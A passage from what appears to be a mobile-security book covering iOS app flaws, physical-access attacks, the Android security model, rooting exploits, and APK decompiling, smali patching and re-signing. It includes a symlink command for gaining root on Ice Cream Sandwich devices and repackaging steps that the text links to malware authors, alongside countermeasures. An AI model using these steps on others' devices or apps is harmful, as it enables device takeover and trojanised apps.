with no host firewall and a number of network services enabled by default. This 
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combination of factors led to relatively easy intrusion into arbitrary systems over the 
network. As time passed, vendors began to take security more seriously and invest in 
locking down network service code as well as the default configurations for client 
operating systems. By the late 2000s, security in this regard had taken a notable turn for 
the better. In reaction to this tightening of security, vulnerability research began to shift 
to other areas, including, in particular, to client-side vulnerabilities. From the mid-2000s 
on, a large number of issues were uncovered in popular client applications such as 
Internet Explorer, Microsoft Office, Adobe Reader and Flash, the Java runtime, and 
QuickTime. Client application vulnerabilities such as these were then leveraged to spread 
malware or to target particular users as in the case of spear phishing or Advanced 
Persistent Threat (APT)–style attacks.

Interestingly, for mobile platforms such as iOS, although nearly no remote network 
attacks have been observed, neither has substantial research been performed in the area 
of third-party app risk. This is not to say that app vulnerability research has not been 
performed, as many critical issues have been identified in apps bundled with iOS, 
including, most notably, a number of issues affecting Mobile Safari. We can say, however, 
that for unbundled apps, only a handful of issues have been identified and published. 
This could be explained, in part, by the fact that because few third-party apps have been 
adopted as universally as something like Flash on Windows, that there has simply been 
little incentive to spend time poking around in this area.

In any event, app vulnerabilities serve as one of the most practical vectors for gaining 
unauthorized access to iOS-based devices. Over the years, a number of app vulnerabilities 
affecting iOS have been discovered and reported. A quick Internet search turns up nearly 
100 vulnerabilities affecting iOS. Of these issues, a large percentage, nearly 40 percent, 
relate in one way or another to the Mobile Safari browser. When considering Mobile 
Safari only, we find 30 to 40 different weaknesses that can be targeted to extract 
information from, or gain access to, a device (depending on the version of iOS being run 
on the device). Many of these weaknesses are critical in nature and allow for arbitrary 
code execution when exploited.

Aside from apps that ship with iOS by default, some vulnerabilities have been 
identified and reported as affecting third-party apps. In 2010, an issue, now documented 
as CVE-2010-2913, was reported as affecting the Citi Mobile app versions 2.0.2 and below. 
The gist of the finding was that the app stored sensitive banking-related information 
locally on the device. If the device were to be remotely compromised, lost, or stolen, then 
the sensitive information could be extracted from the device. This vulnerability did not 
provide remote access and was quite low in severity, but it does help to illustrate the 
point that third-party apps for iOS, like their desktop counterparts, can suffer from poor 
security-related design.

Another third-party app vulnerability, now documented as CVE-2010-4211, was 
reported in November 2010. This time, the PayPal app was reported as being affected by 
an X.509 certificate validation issue. In effect, the app did not validate that server 
hostname values matched the subject field in X.509 server certificates received for SSL 
connections. This weakness allowed an attacker with local network access to man-in-the-
middle users in order to obtain or modify traffic sent to or from the app. This vulnerability 
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was more serious than the Citi Mobile vulnerability in that it could be leveraged via local 
network access and without having to first take control of the app or device. The 
requirement for local network access, however, made exploitation of the issue difficult in 
practice.

In September 2011, a cross-site scripting vulnerability was reported as affecting the 
Skype app, versions 3.0.1 and below. This vulnerability made it possible for an attacker 
to access the file system of Skype app users by embedding JavaScript code into the “Full 
Name” field of messages sent to users. Upon receipt of a message, the embedded 
JavaScript was executed and, when combined with an issue related to handling of URI 
schemes, allowed an attacker to grab files, such as the contacts database, and upload 
them to a remote system. This vulnerability is of particular interest because it is one of 
the first examples of a third-party app vulnerability that could be exploited remotely, 
without requiring local network or physical access to a device.

In April 2012, it was reported that multiple popular apps for iOS, including the 
Facebook app and the Dropbox app, were affected by a vulnerability that resulted in 
values used for authentication being stored on the local device without further protection. 
It was demonstrated that an attacker could attach to a device using an application such 
as iExplorer, browse the device’s file system, and copy these files. The attacker could 
then copy these files to another device and log in using the “borrowed” credentials.

In November 2012, it was reported that the Instagram app version 3.1.2 for iOS was 
affected by an information disclosure vulnerability. This vulnerability allowed an attacker 
who had the ability to man-in-the-middle a device’s network connection to capture 
session information that could then be reused to retrieve or delete data.

In January 2013, it was reported that the ESPN ScoreCenter app version 3.0.0 for iOS 
was affected by not one but two issues: an XSS vulnerability as well as a cleartext 
authentication vulnerability. In effect, the app was not sanitizing user input and was also 
passing sensitive values, including usernames and passwords, over the network 
unencrypted.

It’s worth mentioning that, whether targeting apps included with iOS or third-party 
apps installed after the fact, that gaining control over an app is only half the battle when 
it comes to hacking into an iPhone. Because of restrictions imposed by app sandboxing 
and code signature verification, even after successfully owning an app, obtaining 
information from the target device is more difficult, as is the attack persisting across app 
executions, than has traditionally been possible in the desktop application world. To 
truly own an iPhone, attackers must combine app-level attacks with the exploitation of 
kernel-level vulnerabilities. This sets the barrier to entry fairly high for those looking to 
break into iOS. The average attacker will most likely attempt to repurpose existing 
kernel-level exploits, whereas more sophisticated attackers will most likely attempt to 
develop kernel-level exploits for yet-to-be identified issues. In either case, apps included, 
by default, with iOS, when combined with the 800,000+ apps available for download on 
the App Store, provide an attack surface large enough to ensure that exploitation of app 
vulnerabilities will continue to be a reliable way to gain initial access to iOS-based devices 
for some time to come.
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App Vulnerability Countermeasures
In the case of app vulnerabilities, countermeasures come down to the basics: keep your 
device updated with the latest version of iOS, and keep apps updated to their latest 
versions. In general, as vulnerabilities in apps are reported, vendors update them and 
release fixed versions. It may be a bit difficult to track when issues are found, or when 
they are resolved via updates, so the safe bet is simply to keep iOS and all installed apps 
as up to date as possible.

Physical Access
No discussion of iPhone hacking would be complete without considering the options 
available to an attacker who comes into physical possession of a device. In fact, in some 
ways, this topic is now much more relevant than in the past, as with the migration to 
sophisticated smartphones such as the iPhone, more of the sensitive data previously 
stored and processed on laptops or desktop systems is now being carried out of the safe 
confines of the office or home and into all aspects of daily life. The average person, 
employee, or executive is now routinely glued to his or her smartphone, whether 
checking and sending email or receiving and reviewing documents. Depending on the 
person and his or her role, the information being processed, from contacts to PowerPoint 
documents to sensitive internal email messages, could damage the owner or owning 
organization if it were to fall into the wrong hands. At the same time, this information is 
being carried into every sort of situation or place that one can imagine. For example, it’s 
not uncommon to see an executive sending and receiving email while out for dinner 
with clients. A few too many cervezas, and the phone might just be forgotten on the table 
or even lifted by an unscrupulous character during a moment of distraction.

Once a device falls into an attacker’s hands, it takes only a few minutes to gain access 
to the device’s file system and then to the sensitive data stored on the device. Take, for 
example, the demonstration produced by the researchers at the Fraunhofer Institute for 
Secure Information Technology (SIT). Staff from this organization published a paper in 
February 2011 outlining the steps required to gain access to sensitive passwords stored 
on an iPhone. The process from end-to-end takes about six minutes and involves using a 
boot-based jailbreak to take control of a device in order to gain access to the file system, 
followed by installation of an SSH server. Once access is gained via SSH, a script is 
uploaded that, using only values obtained from the device, can be executed in order to 
dump passwords stored in the device’s keychain. As the keychain is used to store 
passwords for many important applications, such as the built-in email client, this attack 
allows an attacker to recover an initial set of credentials that he or she can then use to 
gain further access to assets belonging to the device’s owner. Specific values that can be 
obtained from the device depend, in large part, on the version of iOS installed. With 
older versions such as iOS 3.0, nearly all values can be recovered from the keychain. With 
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iOS 5.0, Apple introduced additional security measures to minimize the amount of 
information that can be recovered. However, many values are still accessible and this 
method continues to serve as a good example of what can be done when an attacker has 
physical access to an iPhone.

For more information on the attack described in this section, see sit.sit.fraunhofer.de/studies/en/sc-
iphone-passwords.pdf and sc-iphone-passwords-faq.pdf.

An alternative and perhaps easier approach to recovering some data from an iPhone 
is to use an application such as iExplorer. iExplorer provides an easy-to-use point-and-
click interface and can be used to browse portions of the file system for all existing iOS 
devices. You can simply install the application on your desktop or laptop computer, 
connect your iPhone, and begin poking around the device’s file system. While you won’t 
full have access to every portion of the file system, you can dig up some interesting data 
without having to resort to more sophisticated and time-consuming methods for gaining 
access.

One last approach that might prove to be easiest of all, depending on iOS version, is 
to simply hack around the iOS screen lock. In January 2013, a technique was published 
for bypassing the screen lock in iOS 6.0.1 through 6.1. The technique described involved 
a variety of button presses and screen swipes that ultimately result in access being 
granted to the phone app. From this screen, an attacker can review contacts, call history, 
and place calls!

Physical Access Countermeasures
In the case of attacks involving the physical possession of a device, your options are 
fairly limited in terms of countermeasures. The primary defense that can be employed 
against this type of attack is to ensure that all sensitive data on the device has been 
encrypted. Options for encrypting data include using features provided by Apple, as 
well as support provided by third-party apps, including those from commercial vendors 
such as McAfee, Good, and so on. In addition, devices that store sensitive information 
should have a passcode of at least six digits in length set and in use at all times. This has 
the effect of strengthening the security of some values stored in the keychain and on the 
file system, as well as making brute-force attacks against the passcode more difficult to 
accomplish. Other options available to help thwart physical attacks on a device include 
the installation of software that can be used to remotely track the location of a device or 
to remotely wipe sensitive data.
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SUMMARY
You’d be forgiven for wanting to live “off the grid” after reading this chapter! It’s 
impossible to neatly summarize the many things we’ve discussed here, so we won’t 
belabor much further. Here are some key considerations for mobile security discussed in 
this chapter:

• Evaluate the purpose of your device and the data carried on it, and adapt your 
behavior and confi guration to the purpose/data. For example, carry a separate 
device for sensitive business communications and activity, and confi gure it 
much more conservatively than you would a personal entertainment device.

• Enable device lock. Remember, all touch-screen-based unlock mechanisms 
might leave tell-tale smudges that can easily be seen, allowing someone to 
unlock your device easily (see pcworld.com/businesscenter/article/203060/
smartphone_security_thwarted_by_fi ngerprint_smudges.html). Use screen 
wipes to clean your screen frequently, or use repeated digits in your unlock PIN 
to reduce information leakage from smudges (see skeletonkeysecurity.com/
post/15012548814/pins-3-is-the-magic-number).

• Physical access remains the attack vector with the greatest probability of 
success. Keep physical control of your device, and enable wipe functionality as 
appropriate using local or remote features.

• Keep your device software up-to-date. Ideally, install over-the-air iOS updates 
as soon as they become available (over-the-air update support was introduced 
with iOS 5.0.1). Don’t forget to update your apps regularly as well!

• Unless used solely for entertainment/research (that is, high-value/sensitive 
data does not traverse the device), don’t root/jailbreak your device. Such 
privileged access circumvents the security measures implemented by the 
operating system and interferes with keeping software up to date or makes it 
too hard to do regularly. Many in-the-wild exploits have targeted out-of-date 
software/confi gurations on rooted/jailbroken devices.

• Confi gure your device to “Ask To Join Networks,” rather than automatically 
connecting. This prevents inadvertent connection to malicious wireless 
networks that can easily compromise your device at multiple layers.

• Be very selective about the apps you download and install. Although Apple 
does “curate” the App Store, there are known instances of malicious and 
vulnerable apps slipping through. Once you’ve executed unknown code, 
you’ve … well, executed unknown code.

• Install security software, such as Lookout or McAfee Mobile Security. If your 
organization supports it (and they should), use mobile device management 
(MDM) software and services for your device, especially if it is intended to 
handle sensitive information. MDM offers features such as security policy 
specifi cation and enforcement, logging and alerting, automated over-the-air 
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updates, anti-malware, backup/restore, device tracking and management, 
remote lock and wipe, remote troubleshooting and diagnostics, and so on.

• Consider leaving your device at home when traveling abroad. Many nations 
actively infi ltrate mobile devices through their domestic carrier networks, 
which can be extremely diffi cult to defend against. Rent a low-function phone, 
use it for nonsensitive activity only, and erase/discard it when done. If you 
bring a device for personal entertainment, preload any movies or other media 
and leave it in Airplane Mode with all communications radios disabled for the 
duration of the trip.
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Android was released by Google in 2007 as their mobile platform, supporting a 
wide array of devices that now includes mobile phones, tablets, netbooks, TVs, 
and other electronic devices. Android has experienced tremendous growth since 

then, currently making up 68 percent of the global smartphone market (as of this writing), 
making it the most popular mobile platform.

The Android source code is open source, meaning that anyone interested can 
download and build their own Android system (see source.android.com/source/
downloading.html for more details). Not all parts of Android are open, however; the 
Google apps included with most Android phones are closed source. Many device 
manufacturers and carriers modify the Android source code to better suit their hardware/
mobile networks, meaning that many devices include closed-source proprietary drivers 
and applications. This, along with the fact that manufacturers and carriers are typically 
slow to update to the newest version of Android, has led to a “fragmentation” issue with 
the platform: many different versions of Android are running many different 
configurations of the same software across many different hardware devices. Two devices 
with the exact same hardware but on two different carrier networks can be running very 
different software. We view this as a security issue, as large amounts of closed source 
code that varies greatly from device to device exists as part of the Android platform.

As shown in Figure 4-1, the Android architecture consists of four main layers: the 
Linux kernel, the native libraries/Dalvik Virtual Machine, the Application Framework, 
and finally the Application layer. We’re going to take a brief look at each layer here, but 
later in the chapter, we’ll dive into further detail about the relevant security issues in 
each layer.

The Linux kernel provides the same functionality for Android that it does in Linux: 
it provides a way for applications to interact with hardware devices as well as manages 
processes and memory. Android versions prior to 4.0 used the 2.6 Linux kernel; later 
versions use the 3.x kernel. Google has made some changes to the kernel code (because 
the Linux kernel is another open source project) to adapt it to smartphones. The Linux 
kernel also plays an important role in the Android security model, which we cover in 
detail shortly.

The next layer is composed of native libraries that provide access to functionality 
used by Android applications. These libraries include things like OpenGL (for 2D/3D 
graphics), SQLite (for creating and accessing database files), and WebKit (for rendering 
web pages). These libraries are written in C/C++. Included in this layer are the Dalvik 
Virtual Machine (VM) and the core Java libraries. Together these make up the Android 
Runtime component. The Dalvik VM and runtime libraries provide the basic functionality 
used by Java applications, which make up the next two layers on the device. The Dalvik 
VM is another open source project and was specifically designed with mobile devices in 
mind (which typically have limited processing power and memory).

Above the native libraries/Android Runtime is the Application Framework. The 
Application Framework provides a way for Android applications to access a variety of 
functionality, such as telephone functionality (making/receiving calls and SMS), creating 
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UI elements, accessing GPS, and accessing file system resources. The Application 
Framework also plays an important part in the Android security model.

Finally, there are Android applications. These applications are typically written in 
Java and compiled into Dalvik bytecode by using the Android Software Development 
Kit (SDK). Android also provides a Native Development Kit (NDK) that allows 
applications to be written in C/C++ as well. You can develop Android applications that 
contain components created by both the SDK and NDK. These applications communicate 
with the underlying layers we previously discussed to provide all the functionality 
expected from a smartphone.

Now that you’ve gotten an overview of how the Android architecture is structured, 
let’s take a look at the Android security model to see what’s been done to make this 
system secure.

Figure 4-1 The Android architecture as it appears on the Android Developers website (developer
.android.com/about/versions/index.html)
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SECURITY MODEL
The Android security model is permission based. This means that in order for an 
application to perform any action, it must be explicitly granted permission to perform 
that action. These permissions are enforced in two places in the Android architecture: at 
the kernel level and at the Application Framework level. We start by taking a look at how 
the kernel handles permissions and how this adds security to the platform.

The Linux kernel provides security using the idea of access control based on users 
and groups. The various resources and operations the kernel provides access to are 
restricted based on what permissions a user has. These permissions can be finely tuned 
to give a user access to only what resources he or she needs. In Android, all applications 
are assigned a unique user ID. This restricts applications to accessing only the resources 
and functionality that they have explicitly been granted permission to. This is how 
Android “sandboxes” applications from one another, ensuring that applications cannot 
access the resources of other applications (based on file ownership defined by user ID) or 
access hardware components they have not been given permission to use.

The Application Framework provides another level of access control. To access 
restricted functionality provided by the Application Framework, an Android application 
must declare a permission for that component in its manifest file (AndroidManifest.xml). 
These requested permissions are then shown to the user at install time, giving the user 
the choice of installing the application with the requested permissions or not installing 
the application at all. Once the application is installed, it is restricted to the components 
it requested permission to use. For example, only an application that requests the 
android.permission.INTERNET permission can open a connection to the Internet.

At the time of writing, there are currently 130 Android permissions defined (see 
developer.android.com/reference/android/Manifest.permission.html for an updated 
list). These permissions are for using Android’s base functionality. Additionally, 
applications can define their own permissions, meaning the real number of permissions 
available on an Android device can number in the hundreds! These permissions can be 
broken down into four major categories:

• Normal Low-risk permissions that grant access to nonsensitive data or 
features. These permissions do not require explicit approval from the user at 
install time.

• Dangerous These permissions grant access to sensitive data and features and 
require explicit approval from the user at install time.

• Signature This category of permission can be defi ned by an application in its 
manifest. Functionality exposed by applications that declare this permission can 
only be accessed by other applications that were signed by the same certifi cate.

• signatureOrSystem Same as signature, but applications installed on the 
/system partition (which have elevated privileges) can also access this 
functionality.
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We mentioned briefly the concept of application signing. All Android applications 
must be signed to be installed. Android allows self-signed certificates, so developers can 
generate their own signing certificate to sign their applications. The only Android 
security mechanisms that make use of application signatures involve applications that 
define permissions as signature or signatureOrSystem, and only applications that have 
both been signed by the same certificate can be run under the same user ID.

Besides application-level security, Android provides some additional security 
measures. Address Space Layout Randomization (ASLR) was added in Android 4.0 to 
make it more difficult for attackers to exploit memory corruption issues. ASLR involves 
randomizing the location of key sections of memory, such as the stack and heap. The 
implementation in 4.0 was not complete, however, with several locations (such as the 
heap) not included. This has been fixed in Android 4.1, which provides full ASLR. 
Another memory protection, the No eXecute (NX) bit, was added in Android 2.3. This 
allows you to set the heap and stack to nonexecutable, which helps prevent memory 
corruption attacks.

APPLICATION COMPONENTS
An Android application is composed of four different types of components as described 
next. Each component of the Android application represents a different entry point into 
the application, in which the system or another application on the same mobile device 
can enter. The more components that are exportable (android:exported), the larger 
the attack surface, because those components can be invoked by other potentially 
malicious applications. Applications primarily use intents, which are asynchronous 
messages, to perform interprocess, or intercomponent, communication.

• Activities Defi nes a single screen of an application’s user interface. Android 
promotes reusability of activities, so each application does not need to reinvent 
the wheel, but again this behavior increases the attack surface of the application 
in question.

• Content providers Exposes the ability to query, insert, update, or delete 
application-specifi c data to other applications and internal components. The 
application might store the actual data in a SQLite database or a fl at fi le, but 
these implementation details are abstracted away from the calling component. 
Be wary of poorly written content providers improperly exposed to hostile 
applications or that are vulnerable to SQL injection or other types of injection 
attacks.

• Broadcast receivers Responds to broadcast intents. Be aware that applications 
should not blindly trust data received from broadcast intents because a hostile 
application may have sent the intent or the data might have originated from a 
remote system.
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• Services Runs in the background and perform lengthy operations. Services 
are started by another component when it sends an intent, so once again, be 
aware that a service should not blindly trust the data contained within the 
intent.

DATA STORAGE
For data storage, Android applications can either utilize internal storage by storing data 
in nonvolatile memory (NAND flash) or utilize external storage by storing data on a 
Secure Digital (SD) card. SD cards are nonvolatile and also use NAND flash technology, 
but are typically removable from the mobile device. We explore the security implications 
of using internal or external storage later in the chapter, but basically files stored in 
external storage are publicly available to all to applications, and files stored in internal 
storage are, by default, private to a specific application unless an application choses to 
shoot itself in the foot by changing the default Linux file permissions. You also should be 
concerned about storing any sensitive data without proper use of cryptographic controls 
on the mobile device, regardless of whether the application utilizes internal or external 
storage, to avoid information leakage issues.

Android applications are free to create any type of file, but the Android API comes 
with support for SQLite databases and shared preference files stored in an XML-based 
format. Therefore, you’ll often notice these types of files while reviewing the private 
data, or the public data, associated with a target application. From a security standpoint, 
the use of client-side relational databases obviously introduces the possibility of SQL 
injection attacks against Android applications via either intents or other input, such as 
network traffic, and we explore intent-based attacks later in this chapter.

NEAR FIELD COMMUNICATION (NFC)
Near Field Communication (NFC) describes a set of standards for radio communications 
between devices. These devices include NFC tags (similar to RFID tags, and some RFID 
tag protocols are supported), contactless smartcards (like contactless payment cards), 
and most recently mobile devices. NFC devices communicate over a very short range of 
a few centimeters, meaning devices typically need to be “tapped” to communicate. 
Figure 4-2 shows a NFC tag containing a phone number being read by an Android 
device.

NFC made its way into Android in 2010 with the release of Gingerbread, and the first 
NFC-enabled Android phone was the Samsung Nexus S. The first NFC implementation 
was pretty limited, although it was expanded with the release of 2.3.3 a few months later. 
By 2.3.3, Android supported reading and writing to a variety of NFC tag formats. Android 
2.3.4 brought card emulation mode, which allows the mobile device to emulate an NFC 
smartcard so another NFC reader can read data from the secure element (SE) contained 
inside the device. This ability is not exposed via the Android SDK, however, so typically 
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only Google or carrier applications have this capability. The first application to use card 
emulation mode was Google Wallet, released with Android 2.3.4. Android 4.0 added 
peer to peer (p2p) mode, which allows two NFC-enabled devices to communicate 
directly. The Android implementation of this is called Android Beam, and it allows users 
to share data between their applications by tapping their devices together.

Currently, NFC is being used for a variety of purposes, including mobile payments 
(Google Wallet). NFC tags are used in advertisements, and with the release of Android 
4.1, more applications support Android Beam for data transfer.

ANDROID DEVELOPMENT
Google provides a software development kit (SDK) that allows developers to build and 
debug Android applications (developer.android.com/sdk/index.html). The Android 
SDK is available on multiple platforms such as Windows, Mac OS X, and Linux. Anyone 
interested in discovering and exploiting vulnerabilities in the Android operating system 
and in Android applications should spend time familiarizing him- or herself with the 
SDK and its associated tools because these tools are useful to developers and security 
researchers.

Android Emulator
The Android SDK provides a virtual mobile device emulator (developer.android.com/
tools/help/emulator.html) that allows developers to test their Android applications 
without an actual mobile device, as shown in Figure 4-3. The emulator simulates 
hardware features that are common to most Android mobile devices, such as an ARMv5 
CPU, a simulated SIM card, and Flash memory partitions. The emulator gives developers 
and security researchers the capability to test Android applications quickly in different 
versions of the Android operating system, without having to own a large number of 
mobile devices.

Figure 4-2 Reading an NFC tag with an Android phone
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Although the emulator is certainly a valuable tool, there are a number of notable 
drawbacks to performing security testing with an emulator. For example, an Android 
virtual device (AVD) cannot receive or place actual phone calls or send or receive SMS 
messages. Therefore, we do not recommend using the emulator to test applications that 
require communication over the mobile network, such as applications that may receive 
security tokens or onetime passwords via SMS. You can perform telephony and SMS 
emulation, however, so you can send SMS messages to a target application to see how 
the application handles the input or have multiple AVDs communicate with each other. 
Other useful emulator features include the ability to define an HTTP/HTTPS proxy and 
the ability to perform network port redirection in order to intercept and manipulate 
traffic between a target application running within the emulator and various web service 
endpoints.

Android Debug Bridge
The Android Debug Bridge (ADB) is a command-line tool that allows you to communicate 
with a mobile device via a USB cable or an AVD running within an emulator, as shown 
in Figure 4-4. The ADB client connects to the device’s daemon running on TCP port 5037. 

Figure 4-3 The Android emulator
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ADB exposes a large number of commands, but you will probably find the following 
most useful while testing a specific application’s security.

• push Copies a fi le from your fi le system on to the mobile device.

• pull Copies a fi le from the mobile device to your fi le system.

• logcat Shows logging information in the console. Useful for determining 
if an application, or the underlying operating system, is logging sensitive 
information.

• install Copies an application package fi le (APK), which is the fi le format 
used by Google to distribute applications, to the mobile device and installs the 
application. Useful for side-loading applications onto a mobile device, so you 
don’t have to install applications via Google Play.

• shell Starts a remote shell on the mobile device, which allows you to execute 
arbitrary commands.

ROOTING
As we discussed previously, the resources an Android application has access to are 
restricted by the Android security model: it can only access files it owns (or files on the 
external storage/SD card), and it only has access to the device resources and functionality 
that it requested at install time via the Android manifest file. This model prevents 
malicious applications from performing unwanted actions or accessing sensitive data.

If an application can run under the root user, however, this security model breaks 
down. An application running under the root user can directly access device resources, 
bypassing the permission checks normally required—and potentially giving the 
application full control over the device and the other applications installed on it. Although 
the Android community tends to view “rooting” as a way for users to gain more control 
over their device (to install additional software or even custom ROMs), a malicious 
application can use these same techniques to gain control of a device. Let’s take a look at 
a couple of popular rooting exploits.

Figure 4-4 The Android Debug Bridge
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GingerBreak (CVE-2011-1823)
The GingerBreak exploit was discovered by The Android Exploid Crew in 2011. It 
provided a method for gaining root privileges on many Android devices running 
Gingerbread (Android 2.3.x), and some Froyo (2.2.x) and Honeycomb (3.x.x) devices. 
This particular exploit continues to be popular because of the number of devices still 
running Gingerbread.

GingerBreak works by exploiting a vulnerability in the /system/bin/vold volume 
manager daemon. vold has a method, DirectVolume::handlePartitionAdded, 
which sets an array index using an integer passed to it. The method does a maximum 
length check on this integer, but does not check to see if the integer is a negative value. 
By sending messages containing negative integers to vold via a Netlink socket, the 
exploit code can access arbitrary memory locations. The exploit code then writes to 
vold’s global offset table (GOT) to overwrite several functions (such as strcmp() and 
atoi()) with calls to system(). Then, by making another call to vold, you can execute 
another application via system(), with vold’s elevated privileges (since vold is on the 
/system partition); in this case, the exploit code calls sh and proceeds to remount 
/system as read/writable, which allows su (and any other application) to be installed.

GingerBreak was packaged into several popular rooting tools (such as SuperOneClick), 
and some one-click rooting APKs were created as well. Because this exploit can be 
performed on the device, a malicious application could include the GingerBreak code as 
a way to gain elevated privileges on a device.

GingerBreak Countermeasures
Users should make sure they keep their devices updated. The exploit used by GingerBreak 
was fixed in Android 2.3.4, so later versions should be safe.

Of course, not all manufacturers/carriers update their devices. Most Android 
antivirus applications should detect the presence of GingerBreak, however, so users with 
devices no longer receiving updates have some recourse.

Ice Cream Sandwich init chmod/chown Vulnerability
This method of rooting was first discussed on the xda-developers forum by user wolf849 
(forum.xda-developers.com/showthread.php?t=1622628) and was later discussed on 
the Full Disclosure mailing list (seclists.org/fulldisclosure/2012/Aug/171).

A vulnerability was introduced in init with the release of Ice Cream Sandwich 
(Android 4.0.x). If the init.rc script has an entry like the following

    mkdir /data/local/tmp 0771 shell shell

init would set the ownership and permissions of the directory for the shell user (the 
ADB user) even if the mkdir command failed. This issue has since been fixed, but several 
devices running ICS still have this vulnerability.
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If the device is configured so /data/local is writable by the shell user, it is possible 
to create a symlink in /data/local to another directory (such as /system). When the 
device is rebooted, init attempts to create a directory and fails, but still sets the 
permissions defined in init.rc. For example, if the previous line were in init.rc, creating 
a symlink from /local/data/tmp to /system would allow the shell user read/write 
access to the /system partition after the device was rebooted:

ln –s /system /data/local/tmp

Once the shell user has read/write access to /system, the attacker can use the debugfs 
tool to add files to the /system partition (such as su). This method has been used to 
gain root access to a variety of devices, including the Samsung Galaxy S3.

Because this method requires using ADB to gain access to the shell user, it is not 
exploitable by a malicious application. However, an attacker with physical access 
(assuming Android debugging is enabled) could use this method to gain root access to a 
device.

Ice Cream Sandwich init and chmod/chown Countermeasures
Just as with GingerBreak, the best defense is to keep devices up to date. The issue with 
init was fixed some time ago in ICS. Once again, however, this fix is dependent on 
device manufacturers/carriers issuing updates in a timely manner.

You should also make sure Android debugging is turned off. With debugging off, an 
attacker could only perform this attack if he or she had access to the device while it was 
on and unlocked; otherwise, the device is safe.

DECOMPILING AND DISASSEMBLY
Attackers may seek to identify vulnerabilities in your mobile applications through 
manual static analysis. Since most adversaries do not have access to your source code, 
unless they happen to compromise your source code repositories, they will most likely 
reverse engineer your applications by disassembling or decompiling them to either 
recover smali assembly code, which is the assembly language used by the Dalvik VM, or 
Java code from your binaries.

Decompiling
To demonstrate, we will decompile the Mozilla Firefox application into Java code. We 
would not normally decompile an open source application, but the same steps apply to 
reverse engineering closed-source applications from Google Play or system applications 
from OEMs or MNOs.
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If you want to decompile a system application on a rooted Android device, then you usually have to 
deodex the application first to convert the .odex files (Optimized DEX) into .dex files (Dalvik Executable) 
because these binaries have already been preprocessed for the Dalvik VM.

 1. Download dex2jar (code.google.com/p/dex2jar/). This specifi c tool converts 
dex bytecode used by the Dalvik VM into Java bytecode in the form of class 
fi les in a JAR archive.

 2. Download a Java decompiler such as JD-GUI (java.decompiler.free.fr) or JAD 
(varaneckas.com/jad/).

 3. Execute the following command to pull the APK from the device:

adb pull /data/app/org.mozilla.firefox-1.apk

 4. Execute the following command to convert the APK fi le into a JAR fi le:

dex2jar.bat org.mozilla.firefox-1.apk

 5. Now use your favorite Java decompiler to decompile the JAR fi le. Figure 4-5 
shows the SQLiteBridge class decompiled.

We can now inspect how various parts of the application work statically by reviewing 
the Java code. For example, we can examine how the browser application handles various 
types of URI schemes or review how the browser application handles intents received 
from other applications.

Figure 4-5 The Firefox application decompiled into Java code
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Dissassembly and Repackaging
Next we’ll add harmless logging statements to the application in order to log URLs, 
which are placed in the browser’s history, at runtime by disassembling the APK, 
modifying the smali assembly code, and repackaging the APK. Malware authors often 
use this technique to save time by adding malicious classes to existing Android 
applications and then distributing the newly created malware through Google Play, or 
one of the unofficial marketplaces, as opposed to developing their own “legitimate” 
applications. For example, virus researchers identified the DroidDream malware hidden 
in legitimate applications such as “Bowling Time.”

 1. Download android-apktool (code.google.com/p/android-apktool/downloads/
list).

 2. Execute the following command to disassemble the APK into smali assembly code:

apktool d org.mozilla.firefox-1.apk

 3. Modify the add function’s smali code located in the org.mozilla.fi refox-1\
smali\org\mozilla\gecko\GlobalHistory.smali fi le to log URLs using the 
android.util.Log class:

.method public add(Ljava/lang/String;)V
    .locals 1
    .parameter
    .prologue
    .line 119
#NEW SMALI CODE
     const-string v0, "LOG URL"
    invoke-static {v0, p1}, Landroid/util/Log;
->i(Ljava/lang/String;Ljava/lang/String;)I
#END NEW SMALI CODE
    invoke-direct {p0, p1}, Lorg/mozilla/gecko/GlobalHistory;
->canAddURI(Ljava/lang/String;)Z
    move-result v0
    if-nez v0, :cond_0
    .line 124
    :goto_0
    return-void

 4. Execute the build command to reassemble the APK. Note that apktool may 
throw errors while rebuilding the resources, but you can safely ignore these as 
long as apktool correctly builds the classes.dex fi le.

apktool b org.mozilla.firefox-1

 5. In the org.mozilla.fi refox-1\build\apk directory, copy the newly created 
classes.dex fi le into the original APK using your favorite compression utility 
such as WinRAR or WinZip.
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 6. Delete the META-INF directory from the original APK to remove the old 
signature from the APK.

 7. Use keytool to generate a private key and certifi cate:

keytool -genkey -v -keystore bks.keystore -alias bks_alias
-keyalg RSA -keysize 2048 -validity 10000

 8. Use jarsigner to sign the APK with your private key:

jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1
-keystore bks.keystore org.mozilla.firefox-1.apk bks_alias

 9. Execute the ADB install command to install the patched APK:

adb install org.mozilla.firefox-1.apk

 10. Use the logcat tool via ADB, Eclipse, or DDMS to inspect the logs from the 
patched browser application, as shown in Figure 4-6.

The previous technique is especially helpful when analyzing mobile applications 
that encrypt or encode their network traffic in a unique way. Additionally, you could use 
this technique to acquire encryption keys that exist only while the application runs, or 
you could use this technique to manipulate key variables in an application to bypass 
client-side authentication or client-side input validation.

Decompiling, Disassembly, and Repackaging Countermeasures
Like any other piece of software, if a reverse engineer has access to your binary and has 
time to spare, then she or he will tear it apart and figure out how your software works 
and how to manipulate it. Given this inescapable reality, an application developer should 
never store secrets on the client-side, nor should an application rely on client-side 
authentication or client-side input validation. Developers often obfuscate their Android 
applications using ProGuard (developer.android.com/tools/help/proguard.html), 
which is a free tool designed to optimize and obfuscate Java classes by renaming classes, 
fields, and methods. Commercial tools like Arxan are targeted at preventing reverse 
engineering and decompilation. Using obfuscation can slow the process of reverse 
engineering a binary, but it will not stop a determined attacker from understanding the 
inner workings of your Android application.

Figure 4-6 Logcat displaying the output of the injected logging statement
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INTERCEPTING NETWORK TRAFFIC
To identify vulnerabilities, such as SQL injection or authentication bypasses, in back-end 
web services that Android applications interface with, we need to first observe and then 
manipulate the network traffic. In this section, we focus on intercepting HTTP or HTTPS 
traffic, since most applications use these protocols, but be aware that the application in 
question may use a propriety protocol. Therefore, you may want to start your analysis by 
using a network sniffer such as tcpdump or Wireshark.

Adding Trusted CA Certifi cates
Most Android applications purporting to be secure use TLS to mitigate the risk of man-
in-the-middle attacks and also properly perform certificate verification and validation. 
Therefore, we need to add our own trusted CA certificates into the Android device before 
we can intercept, and manipulate, HTTPS traffic without causing an error during the 
negotiation phase of the TLS handshake. Android supports DER-encoded X.509 
certificates using the .crt extension and also X.509 certificates saved in PKCS#12 keystore 
files using the .p12 extension.

Acquiring the Proxy’s CA Certifi cate
First, we need to acquire the root certificate used by the web proxy that we plan on using, 
such as Burp Suite or Charles Proxy.

 1. Open Firefox on your computer.

 2. Confi gure Firefox to use a web proxy via the manual proxy confi guration 
